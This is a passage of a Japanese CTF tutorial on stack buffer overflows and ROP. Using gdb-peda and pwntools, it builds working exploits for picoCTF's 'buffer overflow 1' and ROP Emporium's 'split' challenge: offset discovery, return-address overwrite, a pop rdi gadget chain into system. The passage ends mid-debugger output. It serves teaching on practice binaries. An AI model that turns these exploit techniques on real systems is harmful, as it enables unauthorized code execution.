   0x080492b5 <+52>:    push   eax
   0x080492b6 <+53>:    call   0x8049040 <printf@plt>
   0x080492bb <+58>:    add    esp,0x10
   0x080492be <+61>:    nop
   0x080492bf <+62>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080492c2 <+65>:    leave
   0x080492c3 <+66>:    ret
End of assembler dump.

出力を確認すると、0x0804929e アドレスで get 関数が呼ばれているみたいです。

このアドレスにブレークポイントを設置してみましょう。 (関数にブレークポイントを設置する場合は b main 等のように * が必要ないのですが、アドレスにブレークポイントを設置したい場合はアドレスの直前に * を書く必要があります。)

b *0x0804929e

ブレークポイントを設置できたら run コマンドで実行してみましょう。

[----------------------------------registers-----------------------------------]
EAX: 0xffffcf10 --> 0xffffcf58 --> 0x0 
EBX: 0x804c000 --> 0x804bf10 --> 0x1 
ECX: 0xf7e258a0 --> 0x0 
EDX: 0x0 
ESI: 0x8049350 (<__libc_csu_init>:      endbr32)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0xffffcf38 --> 0xffffcf58 --> 0x0 
ESP: 0xffffcf00 --> 0xffffcf10 --> 0xffffcf58 --> 0x0 
EIP: 0x804929e (<vuln+29>:      call   0x8049050 <gets@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049297 <vuln+22>: sub    esp,0xc
   0x804929a <vuln+25>: lea    eax,[ebp-0x28]
   0x804929d <vuln+28>: push   eax
=> 0x804929e <vuln+29>: call   0x8049050 <gets@plt>
   0x80492a3 <vuln+34>: add    esp,0x10
   0x80492a6 <vuln+37>: call   0x804933e <get_return_address>
   0x80492ab <vuln+42>: sub    esp,0x8
   0x80492ae <vuln+45>: push   eax
Guessed arguments:
arg[0]: 0xffffcf10 --> 0xffffcf58 --> 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xffffcf00 --> 0xffffcf10 --> 0xffffcf58 --> 0x0 
0004| 0xffffcf04 --> 0x804c000 --> 0x804bf10 --> 0x1 
0008| 0xffffcf08 --> 0xf7e23e34 --> 0x223d2c (',="')
0012| 0xffffcf0c --> 0x8049291 (<vuln+16>:      add    ebx,0x2d6f)
0016| 0xffffcf10 --> 0xffffcf58 --> 0x0 
0020| 0xffffcf14 --> 0xf7fdbec0 (pop    edx)
0024| 0xffffcf18 --> 0x0 
0028| 0xffffcf1c --> 0x804c000 --> 0x804bf10 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804929e in vuln ()

出力中の code を確認すると 0x804929e の処理で停止していることが確認できます。 (EIP レジスタの値でも確認することが出来ます。)

それでは、この時点でのスタックの中身を確認してみましょう。

スタックの頭のアドレスは ESP レジスタに、スタックの底のアドレスは EBP レジスタに格納されているためその情報を参考にスタックの中身を確認します。

今回、ESP は 0xffffcf00EBP0xffffcf38 であるため 0xffffcf00 アドレスからメモリの中身を確認すればスタックの様子が分かります。

ちなみに余談ですが、レジスタがどのアドレスを指しているのかを確認する際は info register というコマンドを使うことで確認できます。

gdb-peda$ info register
eax            0xffffcf10          0xffffcf10
ecx            0xf7e258ac          0xf7e258ac
.
.
.
fs             0x0                 0x0
gs             0x63                0x63

閑話休題、話を元に戻します。

メモリの中身を確認するコマンドは x であり、今回は少し先の中身も確認したいため x/32wx というオプションを加えたコマンドを用いて確認を行います。 (32wx というオプションは4バイトの値(w)を32個 16進数(x)で表示すると言ったオプションです。)

gdb-peda$ x/32wx 0xffffcf00
0xffffcf00:     0xffffcf10      0x0804c000      0xf7e23e34      0x08049291
0xffffcf10:     0xffffcf58      0xf7fdbec0      0x00000000      0x0804c000
0xffffcf20:     0x08049350      0xf7ffcb80      0xffffcf58      0x08049327
0xffffcf30:     0x0804a0a0      0x0804c000      0xffffcf58      0x0804932f
0xffffcf40:     0xffffffff      0xf7c0c7f0      0xf7fc2410      0x000003e8
0xffffcf50:     0xffffcf70      0xf7e23e34      0x00000000      0xf7c23c65
0xffffcf60:     0x00000000      0x00000000      0xf7c3c7c9      0xf7c23c65
0xffffcf70:     0x00000001      0xffffd024      0xffffd02c      0xffffcf90

メモリの中身を確認できたので次の処理に進んでみましょう。

次の処理に進むためには n コマンドを用います。

この時何も表示されませんが、ユーザからの入力を待ち受けている状態のためたくさんの文字列を入力してみましょう。 (今回はどこの箇所で上書きが発生してしまったのかをわかりやすくするために入力する値を少し変更しています。)

gdb-peda$ n
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa

すると次の命令に進んでいること、そして ESP、EBP などの値が書き換えられていることなどが分かります。

[----------------------------------registers-----------------------------------]
EAX: 0xffffcf10 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa")
EBX: 0x804c000 --> 0x804bf10 --> 0x1 
ECX: 0xf7e258ac --> 0x0 
EDX: 0x0 
ESI: 0x8049350 (<__libc_csu_init>:      endbr32)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0xffffcf38 ("kaaalaaamaaanaaaoaaa")
ESP: 0xffffcf00 --> 0xffffcf10 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa")
EIP: 0x80492a3 (<vuln+34>:      add    esp,0x10)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804929a <vuln+25>: lea    eax,[ebp-0x28]
   0x804929d <vuln+28>: push   eax
   0x804929e <vuln+29>: call   0x8049050 <gets@plt>
=> 0x80492a3 <vuln+34>: add    esp,0x10
   0x80492a6 <vuln+37>: call   0x804933e <get_return_address>
   0x80492ab <vuln+42>: sub    esp,0x8
   0x80492ae <vuln+45>: push   eax
   0x80492af <vuln+46>: lea    eax,[ebx-0x1f9c]
[------------------------------------stack-------------------------------------]
0000| 0xffffcf00 --> 0xffffcf10 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa")
0004| 0xffffcf04 --> 0x804c000 --> 0x804bf10 --> 0x1 
0008| 0xffffcf08 --> 0xf7e23e34 --> 0x223d2c (',="')
0012| 0xffffcf0c --> 0x8049291 (<vuln+16>:      add    ebx,0x2d6f)
0016| 0xffffcf10 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa")
0020| 0xffffcf14 ("baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa")
0024| 0xffffcf18 ("caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa")
0028| 0xffffcf1c ("daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa")
[------------------------------------------------------------------------------]

入力を行った結果だいぶ色々な値が書き換えられてしまったようです。

先ほどと同様にスタックの値を確認してみましょう。

gdb-peda$ x/32wx 0xffffcf00
0xffffcf00:     0xffffcf10      0x0804c000      0xf7e23e34      0x08049291
0xffffcf10:     0x61616161      0x61616162      0x61616163      0x61616164
0xffffcf20:     0x61616165      0x61616166      0x61616167      0x61616168
0xffffcf30:     0x61616169      0x6161616a      0x6161616b      0x6161616c
0xffffcf40:     0x6161616d      0x6161616e      0x6161616f      0x00000300
0xffffcf50:     0xffffcf70      0xf7e23e34      0x00000000      0xf7c23c65
0xffffcf60:     0x00000000      0x00000000      0xf7c3c7c9      0xf7c23c65
0xffffcf70:     0x00000001      0xffffd024      0xffffd02c      0xffffcf90

比較のために先ほど確認した入力前のスタックも下に貼り付けておきます。

(入力前)
0xffffcf00:     0xffffcf10      0x0804c000      0xf7e23e34      0x08049291
0xffffcf10:     0xffffcf58      0xf7fdbec0      0x00000000      0x0804c000
0xffffcf20:     0x08049350      0xf7ffcb80      0xffffcf58      0x08049327
0xffffcf30:     0x0804a0a0      0x0804c000      0xffffcf58      0x0804932f
0xffffcf40:     0xffffffff      0xf7c0c7f0      0xf7fc2410      0x000003e8
0xffffcf50:     0xffffcf70      0xf7e23e34      0x00000000      0xf7c23c65
0xffffcf60:     0x00000000      0x00000000      0xf7c3c7c9      0xf7c23c65
0xffffcf70:     0x00000001      0xffffd024      0xffffd02c      0xffffcf90

入力前後のスタックの情報も手に入ったのでプログラムを最後まで実行し、クラッシュさせましょう。

ステップ実行を行う際は n コマンドを使用しましたが、一つ一つ処理を追う必要が無い場合は c コマンドが便利です。

[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x6161616a ('jaaa')
ECX: 0x0 
EDX: 0x0 
ESI: 0x8049350 (<__libc_csu_init>:      endbr32)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0x6161616b ('kaaa')
ESP: 0xffffcf40 ("maaanaaaoaaa")
EIP: 0x6161616c ('laaa')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6161616c
[------------------------------------stack-------------------------------------]
0000| 0xffffcf40 ("maaanaaaoaaa")
0004| 0xffffcf44 ("naaaoaaa")
0008| 0xffffcf48 ("oaaa")
0012| 0xffffcf4c --> 0x300 
0016| 0xffffcf50 --> 0xffffcf70 --> 0x1 
0020| 0xffffcf54 --> 0xf7e23e34 --> 0x223d2c (',="')
0024| 0xffffcf58 --> 0x0 
0028| 0xffffcf5c --> 0xf7c23c65 (add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6161616c in ?? ()

出力を確認すると 0x6161616c にアクセスしようとしてセグメンテーション違反が発生しているようです。

先ほど確認した入力前後のスタックの中身から 0x6161616c によって上書きされた値が何だったのかを確認してみましょう。

確認してみると 0x0804932f という値のようです。

このアドレスは一体何なのかを x コマンドを用いて確認してみます。

gdb-peda$ x 0x0804932f
   0x804932f <main+107>:        mov    eax,0x0

どうやら main 関数の処理みたいです。

main 関数内のどこの処理であるのかも disassemble コマンドを用いて確認してみましょう。

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x080492c4 <+0>:     endbr32
   0x080492c8 <+4>:     lea    ecx,[esp+0x4]
   0x080492cc <+8>:     and    esp,0xfffffff0
   0x080492cf <+11>:    push   DWORD PTR [ecx-0x4]
   0x080492d2 <+14>:    push   ebp
.
.
.
   0x08049327 <+99>:    add    esp,0x10
   0x0804932a <+102>:   call   0x8049281 <vuln>
   0x0804932f <+107>:   mov    eax,0x0
   0x08049334 <+112>:   lea    esp,[ebp-0x8]
   0x08049337 <+115>:   pop    ecx
   0x08049338 <+116>:   pop    ebx
   0x08049339 <+117>:   pop    ebp
   0x0804933a <+118>:   lea    esp,[ecx-0x4]
   0x0804933d <+121>:   ret
End of assembler dump.

出力を確認してみると call 0x8049281 <vuln> という vuln 関数を呼び出した直後の命令のようです。

このように関数が呼び出された後にどの命令に戻ってくるのかを示すアドレスはリターンアドレスと呼ばれています。

つまり何が言いたいのか?(スタックバッファオーバーフローの章のまとめ)

スタックには関数内で宣言された変数が格納されており、その変数に入力文字数の制限無くユーザからの入力が入るとスタック上の他の値も書き換えてしまいます。

さらに、書き換えられてしまう値の中にはリターンアドレスという関数を呼び出した後にどのアドレスに戻るのかを示す値も含まれています。

このリターンアドレスを適切に書き換えたら......悪用できそうですね。

関数の呼び出し

先ほどの章でリターンアドレスを書き換えられることが分かったと思います。

適当な入力ではセグメンテーション違反が発生しますが、逆に言えば正しいアドレスに上書き出来ればそのアドレスへと飛ぶことが出来ると言うことです。

そこで、この章ではリターンアドレスの書き換えを用いた関数の呼び出しや、引数の渡し方などを説明します。

関数を呼び出す

初めにも触れたように、関数を呼び出すためには正しい位置に上書きするアドレスを書いてリターンアドレスを書き換える必要があります。

正しい位置がどこであるかを調べる為に gdb でスタックを確認しても良いのですが、今回は python のモジュールである pwntools というものを用いて楽をしましょう。

初めに、リターンアドレスまでのバイト数がいくつであるのかを調べる為の入力文字列を pwntools を用いて作成してみます。 (一般に、リターンアドレスまでのバイト数のことはオフセットと呼ばれています。)

オフセットを確認するための文字列を作成する為には cyclic() というものを利用します。 (今回は機能の紹介ということで cyclic() を利用していますが、別に自作しても問題ありません)

from pwn import *

print(cyclic(60))

すると次のような出力が得られます。

$ python3 offset.py      
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa'

次は gdb を用いてどのアドレスにアクセスしようとしてセグメンテーション違反が発生したのかを確認します。

すると、先ほどの章で確認したとおり 0x6161616c にアクセスしようとしてセグメンテーション違反が発生していることが分かります。

この情報と pwntools を用いてオフセットを確認してみましょう。

オフセットを確認する際は cyclic_find() という機能が便利です。

from pwn import *

print(cyclic(60))
overwrited_address=0x6161616c
offset=cyclic_find(overwrited_address)
print(offset)

これを実行すると次のような出力が得られます。

$ python3 offset.py
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa'
44

これでオフセットが44であると分かりました。

つまり44文字入力した後にアクセスしたいアドレスを書き込めばそのアドレスに飛ぶことが出来るということです。

この buffer overflow 1という問題では win 関数に処理を飛ばすことで FLAG を得ることが出来ます。

そこで、win 関数のアドレスを調べてそのアドレスを書き込んでみましょう。

関数のアドレスを調べる際は info func コマンドが便利です。 (disassemble を用いても問題ありません)

gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049040  printf@plt
0x08049050  gets@plt
0x08049060  fgets@plt
.
.
.
0x080491f0  frame_dummy
0x080491f6  win
0x08049281  vuln
0x080492c4  main
0x0804933e  get_return_address
0x08049350  __libc_csu_init
0x080493c0  __libc_csu_fini
0x080493c5  __x86.get_pc_thunk.bp
0x080493cc  _fini

どうやら win 関数は 0x080491f6 アドレスから始まっているようです。

それでは pwntools を用いて上書きをしてみましょう!!

from pwn import *

proc="./vuln"#対象の実行ファイル
io=process(proc)

offset=44#先ほど求めたオフセット

r=io.recv().decode()#実行ファイルからの出力の受け取り。io.recv()はバイト文字列を返すため decode()で文字列に変換している
print(r)

payload=b'A'*offset#オフセットの数だけ適当な文字を入力
payload+=b'\x08\x04\x91\xf6'#上書きするアドレスの値。今回は win のアドレスである 0x080491f6
io.sendline(payload)#ユーザからの入力を行うためのコマンド。

r=io.recv().decode()
print(r)

しかし上手くいきませんでした。

それでは何が起きてしまったのかを gdb を用いて確認してみましょう。

そのためには先ほどの python のコードを書き換えてペイロードをファイルに出力する必要があります。

from pwn import *

proc="./vuln"#対象の実行ファイル
io=process(proc)

offset=44#先ほど求めたオフセット

r=io.recv().decode()#実行ファイルからの出力の受け取り。io.recv()はバイト文字列を返すため decode()で文字列に変換している
print(r)

payload=b'A'*offset#オフセットの数だけ適当な文字を入力
payload+=b'\x08\x04\x91\xf6'#上書きするアドレスの値。今回は win のアドレスである 0x080491f6
io.sendline(payload)#ユーザからの入力を行うためのコマンド。

f=open("p","wb")#バイナリデータを書き込むのでオプションは w ではなく wb
f.write(payload)
f.close

r=io.recv().decode()
print(r)

そしてこれを実行してから gdb で確認をしていきましょう。

いままでは run コマンドを用いていましたが、今回はそれに先ほど作成したファイルを渡します。 (他のツールで出来るかは確認してません......すみません。)

gdb-peda$ run <p

[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x41414141 ('AAAA')
ECX: 0x0 
EDX: 0x0 
ESI: 0x8049350 (<__libc_csu_init>:      endbr32)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf40 --> 0xffffff00 
EIP: 0xf6910408
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xf6910408
[------------------------------------stack-------------------------------------]
0000| 0xffffcf40 --> 0xffffff00 
0004| 0xffffcf44 --> 0xf7c0c7f0 --> 0x8c7 
0008| 0xffffcf48 --> 0xf7fc2410 --> 0xf7c00000 --> 0x464c457f 
0012| 0xffffcf4c --> 0x3e8 
0016| 0xffffcf50 --> 0xffffcf70 --> 0x1 
0020| 0xffffcf54 --> 0xf7e23e34 --> 0x223d2c (',="')
0024| 0xffffcf58 --> 0x0 
0028| 0xffffcf5c --> 0xf7c23c65 (add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xf6910408 in ?? ()

どうやら 0xf6910408 にアクセスしようとしてしまっているようです。

上書きしたはずの値は 0x080491f6 だったはずなのに何が起きたのでしょうか?

これはトルエンディアンという仕組みによるものなのです。

トルエンディアンではバイトが逆順に格納されます。

そのため、08 04 91 f6f6 91 04 08 となり上手く行かなかったようです。

これを解決するためにはリトルエンディアンの順番でアドレスの値を記述すれば良いのですが、それを少し楽にする機能が pwntools にあるためそれを使って書き換えてみましょう。

from pwn import *

proc="./vuln"#対象の実行ファイル
io=process(proc)

offset=44#先ほど求めたオフセット

r=io.recv().decode()#実行ファイルからの出力の受け取り。io.recv()はバイト文字列を返すため decode()で文字列に変換している
print(r)

payload=b'A'*offset#オフセットの数だけ適当な文字を入力
#payload+=b'\x08\x04\x91\xf6'#上書きするアドレスの値。今回は win のアドレスである 0x080491f6
payload+=p32(0x080491f6)#今回は32ビットの実行ファイルであるためp32()を用いている。64ビットの場合はp64()を用いると自動で整形してくれる。
io.sendline(payload)#ユーザからの入力を行うためのコマンド。

f=open("p","wb")#バイナリデータを書き込むのでオプションは w ではなく wb
f.write(payload)
f.close

r=io.recv().decode()
print(r)

これを実行すると FLAG が出力されました。 (ただし、flag.txt は自分でカレントディレクトリに作成しなければなりません)

ローカルで攻撃が上手くいくことが分かったため pwntools を用いて picoCTF のサーバにアクセスして FLAG を獲得しましょう。

ローカルで使う際は process() を使いましたが、外に接続する場合は remote() を利用します。

from pwn import *

proc="./vuln"#対象の実行ファイル
host="saturn.picoctf.net"#ホスト名
port="63370"#ポート番号
#io=process(proc)#ローカルの場合
io=remote(host,port)#リモートの場合

offset=44#先ほど求めたオフセット

r=io.recv().decode()#実行ファイルからの出力の受け取り。io.recv()はバイト文字列を返すため decode()で文字列に変換している
print(r)

payload=b'A'*offset#オフセットの数だけ適当な文字を入力
#payload+=b'\x08\x04\x91\xf6'#上書きするアドレスの値。今回は win のアドレスである 0x080491f6
payload+=p32(0x080491f6)#今回は32ビットの実行ファイルであるためp32()を用いている。64ビットの場合はp64()を用いると自動で整形してくれる。
io.sendline(payload)#ユーザからの入力を行うためのコマンド。

f=open("p","wb")#バイナリデータを書き込むのでオプションは w ではなく wb
f.write(payload)
f.close

r=io.recv().decode()
print(r)

これで関数を呼び出すことが出来るようになりました。

次は引数の扱いについて説明していきます。

関数に引数を渡す

いままでの章で学習した内容からリターンアドレスの書き換えによる関数の呼び出しは出来るようになりました。

しかし、関数に引数を渡したいといった場合も多々あります。

そこで、この章では 32 ビットと 64 ビットの実行ファイルそれぞれにおいて引数を渡す方法を説明していこうと思います。

例として使用する問題は今までの章とは別の問題で、 ropemporium の split という問題を使用します。

リンクは下に貼るので一緒に手を動かしてみてください。

https://ropemporium.com/challenge/split.html

32ビットの場合

32ビットの場合、引数は値(文字列であればそのアドレス)をスタックに積むだけで渡すことが可能です。 (適当なプログラムを作って gdb で確認してみるとより理解が深まると思います。)

それでは今回の問題である split を解いてみましょう。

オフセットは pwntools の cyclic()cyclic_find() を用いて確認すると 44 であることが分かります。

次に gdb で usefulFunction をdisassemble すると次のような有益な情報が得られます。

gdb-peda$ disassemble usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0804860c <+0>:     push   ebp
   0x0804860d <+1>:     mov    ebp,esp
   0x0804860f <+3>:     sub    esp,0x8
   0x08048612 <+6>:     sub    esp,0xc
   0x08048615 <+9>:     push   0x804870e
   0x0804861a <+14>:    call   0x80483e0 <system@plt>
   0x0804861f <+19>:    add    esp,0x10
   0x08048622 <+22>:    nop
   0x08048623 <+23>:    leave
   0x08048624 <+24>:    ret
End of assembler dump.

なんと、この関数内で system 関数を call しているのです。

これは非常に有益です。

例えば、この関数に /bin/sh という文字列を引数で渡すと任意コマンドが実行出来てしまいます。

さらに、nm コマンドを用いてこのバイナリを調べると usefulString というものを見つけることが出来ます。

$ nm split32           
0804a042 B __bss_start
0804a048 b completed.7283
0804a028 D __data_start
0804a028 W data_start
08048490 t deregister_tm_clones
08048470 T _dl_relocate_static_pie
08048510 t __do_global_dtors_aux
08049f10 d __do_global_dtors_aux_fini_array_entry
0804a02c D __dso_handle
08049f14 d _DYNAMIC
0804a042 D _edata
0804a04c B _end
08048694 T _fini
080486a8 R _fp_hw
08048540 t frame_dummy
08049f0c d __frame_dummy_init_array_entry
08048894 r __FRAME_END__
0804a000 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
08048718 r __GNU_EH_FRAME_HDR
08048374 T _init
08049f10 d __init_array_end
08049f0c d __init_array_start
080486ac R _IO_stdin_used
08048690 T __libc_csu_fini
08048630 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
08048546 T main
         U memset@@GLIBC_2.0
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
080485ad t pwnme
         U read@@GLIBC_2.0
080484d0 t register_tm_clones
         U setvbuf@@GLIBC_2.0
08048430 T _start
0804a044 B stdout@@GLIBC_2.0
         U system@@GLIBC_2.0
0804a044 D __TMC_END__
0804860c t usefulFunction
0804a030 D usefulString
08048480 T __x86.get_pc_thunk.bx

gdb でこのアドレスを確認してみるとこれは /bin/cat flag.txt という文字列であることが分かります。 (x コマンドのオプションで s を指定すると文字列として表示することが出来ます。)

gdb-peda$ x/s 0x0804a030
0x804a030 <usefulString>:       "/bin/cat flag.txt"

/bin/sh ではありませんでしたが FLAG を手に入れることは出来そうですね。

これまでの情報をまとめると次のようになります。

  • オフセットは 44
  • system を call する命令があるのは 0x0804861a
  • /bin/cat flag.txt が格納されているのは 0x804a030

それではこれらの情報を使って FLAG を手に入れるためのコードを作りましょう。

from pwn import *

proc="./split32"
io=process(proc)
ofs=cyclic(100)
#リターンアドレスを上書きしたのはlaaa
log.info(f"offset:{cyclic_find('laaa')}")


system=p32(0x804861a)#usefulFunction内でsystem を call する命令のあるアドレス
usefulString=p32(0x804a030)#/bin/cat flag.txt という文字列が格納されているアドレス

print(io.recv().decode())#出力

payload=b"A"*44
payload+=system
payload+=usefulString
log.info(hexdump(payload))

io.sendline(payload)#ペイロードの送信

print(io.recvall().decode())

これを実行すると次のような出力が得られます。

$ python3 test.py
[+] Starting local process './split32': pid 4565
[*] offset:44
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> 
[*] 00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  41 41 41 41  1a 86 04 08  │AAAA│AAAA│AAAA│····│
    00000030  30 a0 04 08                                         │0···│
    00000034
[+] Receiving all data: Done (44B)
[*] Stopped process './split32' (pid 4565)
Thank you!
[[FLAG が出力される]]

64ビットの場合

64ビットの場合は32ビットの場合と違い、引数をレジスタに格納する必要があります。

引数とレジスタの対応関係は次のようになっています。

第n引数 レジスタ
第1引数 RDI
第2引数 RSI
第3引数 RDX
第4引数 RCX
第5引数 R8
第6引数 R9

つまり、今回の場合は RDI レジスタに usefulString のアドレスを入れなければならないということですね。

そのためには ROP Gadget というものを探す必要があります。

ROP Gadget とはコードの中にある命令の断片のようなものです。

言葉では分かりづらいため実際に ROPGadget というツールを用いて探してみましょう。

$ ROPgadget --binary ./split                 
Gadgets information
============================================================
0x000000000040060e : adc byte ptr [rax], ah ; jmp rax
0x00000000004005d9 : add ah, dh ; nop dword ptr [rax + rax] ; repz ret
0x0000000000400597 : add al, 0 ; add byte ptr [rax], al ; jmp 0x400540
0x0000000000400577 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x400540
.
.
.
0x00000000004007d4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004007ca : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; repz ret
0x0000000000400534 : test eax, eax ; je 0x40053a ; call rax
0x0000000000400533 : test rax, rax ; je 0x40053a ; call rax

Unique gadgets found: 96

上の出力のように多くの命令の断片があることが分かります。

今回はスタック上の値を RDI レジスタにいれたいので pop rdi という命令を探してみましょう。

$ ROPgadget --binary ./split|grep "pop rdi"
0x00000000004007c3 : pop rdi ; ret

すると 0x00000000004007c3 というアドレスから pop rdi ; ret という命令があるということが分かりました。

あとは今までと同じように必要な情報を集めましょう。

nm コマンドを用いると usefulString のアドレスが 0000000000601060 であることが分かります。

さらに gdb を用いて system を call 命令で呼び出しているアドレスを調べると 0x000000000040074b であることが分かりました。

オフセットも調べた結果 40 バイトであることが分かります。

いままでに集めた必要な情報をまとめると次のようになります。

  • オフセットは 40
  • system を call する命令のアドレスは 0x000000000040074b
  • /bin/cat flag.txt が格納されているアドレスは 0x0000000000601060
  • pop rdi ; ret のアドレスは 0x00000000004007c3

そして攻撃の流れとしては pop rdi ; ret を実行し RDI レジスタ/bin/cat flag.txt という文字列のアドレスを入れて、最後に system を call する命令に飛ぶことで FLAG を取得するといったものになります。

それでは FLAG を手に入れましょう。

from pwn import *

proc="./split"
io=process(proc)

print(io.recv().decode())

offset=40
system=p64(0x000000000040074b)
usefulString=p64(0x0000000000601060)
pop_rdi=p64(0x00000000004007c3)

payload=b'A'*offset
payload+=pop_rdi
payload+=usefulString
payload+=system
print(hexdump(payload))

io.sendline(payload)

print(io.recvuntil(b'}').decode())

出力は次のようになりました。

$ python3 test.py
[+] Starting local process './split': pid 2898
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> 
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
*
00000020  41 41 41 41  41 41 41 41  c3 07 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
00000030  60 10 60 00  00 00 00 00  4b 07 40 00  00 00 00 00  │`·`·│····│K·@·│····│
00000040
Thank you!
[[FLAG が出力される]]
[*] Stopped process './split' (pid 2898)

つまり何が言いたいのか?(関数の呼び出しの章のまとめ)

リターンアドレスを call 命令が格納されているアドレスに書き換えることで関数の呼び出しが行えることが分かりました。

さらに、32ビットの場合はスタックに値を積むこと、64ビットの場合は pop 命令を用いてレジスタに引数を入れることで関数に引数を渡すことが出来るというのも分かりました。

しかし、今のところ関数を呼んだ後のことは何も考えられていません。

そこで、次の ROP の章では64ビットの引数を渡した時のように ROP Gadget や関数の呼び出しを繋げる方法について触れていきます。

ROP

ここでは、いくつもの ROP Gadget を組み合わせたり複数の関数を呼び出したりするといった ROP(Return Orient Programming) という技術について説明していきます。

今回の説明では、先ほど関数に引数を渡す説明を行った際に使用した ropemporium の split という問題の 64ビットを再び使用します。

説明のために FLAG を取るために使用したコードを下に貼ります。

from pwn import *

proc="./split"
io=process(proc)

print(io.recv().decode())

offset=40
system=p64(0x000000000040074b)
usefulString=p64(0x0000000000601060)
pop_rdi=p64(0x00000000004007c3)

payload=b'A'*offset
payload+=pop_rdi
payload+=usefulString
payload+=system
print(hexdump(payload))

f=open("payload","wb")
f.write(payload)
f.close()

io.sendline(payload)

print(io.recvuntil(b'}').decode())

このコードの何が ROP なのかと言いますと、 pop 命令に飛んだ後に system の処理に飛んでいるという処理がそうなのです。

なぜこのコードで pop の処理から system 関数に繋がるのかを gdb を用いて調べてみましょう。

ペイロードpaylaod というファイルに出力するようにしたため gdb の run コマンドを用いて確認します。

リターンアドレスを書き換えて一番初めに飛ぶのは pop rdi のというコード片であり、そのアドレスは 0x00000000004007c3 であるためこのアドレスにブレークポイントを設置します。

gdb-peda$ b *0x00000000004007c3
Breakpoint 1 at 0x400741

それでは何が起きているのかを確認していきましょう。

gdb-peda$ r <payload
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffdea8 --> 0x7fffffffe203 ("/home/kali/Downloads/ROPEmporium/2split/64/split")
RCX: 0x7ffff7f9a680 --> 0x7ffff7f9bfc0 --> 0x0 
RDX: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
RSI: 0x0 
RDI: 0x1 
RBP: 0x1 
RSP: 0x7fffffffde30 --> 0x0 
RIP: 0x4007c3 (<__libc_csu_init+99>:    pop    rdi)
R8 : 0x4007d0 (<__libc_csu_fini>:       repz ret)
R9 : 0x7ffff7fcfb30 (<_dl_fini>:        push   rbp)
R10: 0x7fffffffdac0 --> 0x800000 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
R14: 0x400760 (<__libc_csu_init>:       push   r15)
R15: 0x7fffffffdeb8 --> 0x7fffffffe234 ("COLORFGBG=15;0")
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x4007c3 <__libc_csu_init+99>:       pop    rdi
   0x4007c4 <__libc_csu_init+100>:      ret
   0x4007c5:    nop
   0x4007c6:    cs nop WORD PTR [rax+rax*1+0x0]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde30 --> 0x0 
0008| 0x7fffffffde38 --> 0x7ffff7debd1f (<__libc_start_main_impl+95>:   mov    r14,QWORD PTR [rip+0x1ae26a]        # 0x7ffff7f99f90)
0016| 0x7fffffffde40 --> 0x400697 (<main>:      push   rbp)
0024| 0x7fffffffde48 --> 0x7fff00000000 
0032| 0x7fffffffde50 --> 0x7ffff7ffe2c0 --> 0x0 
0040| 0x7fffffffde58 --> 0x0 
0048| 0x7fffffffde60 --> 0x0 
0056| 0x7fffffffde68 --> 0x4005b0 (<_start>:    xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

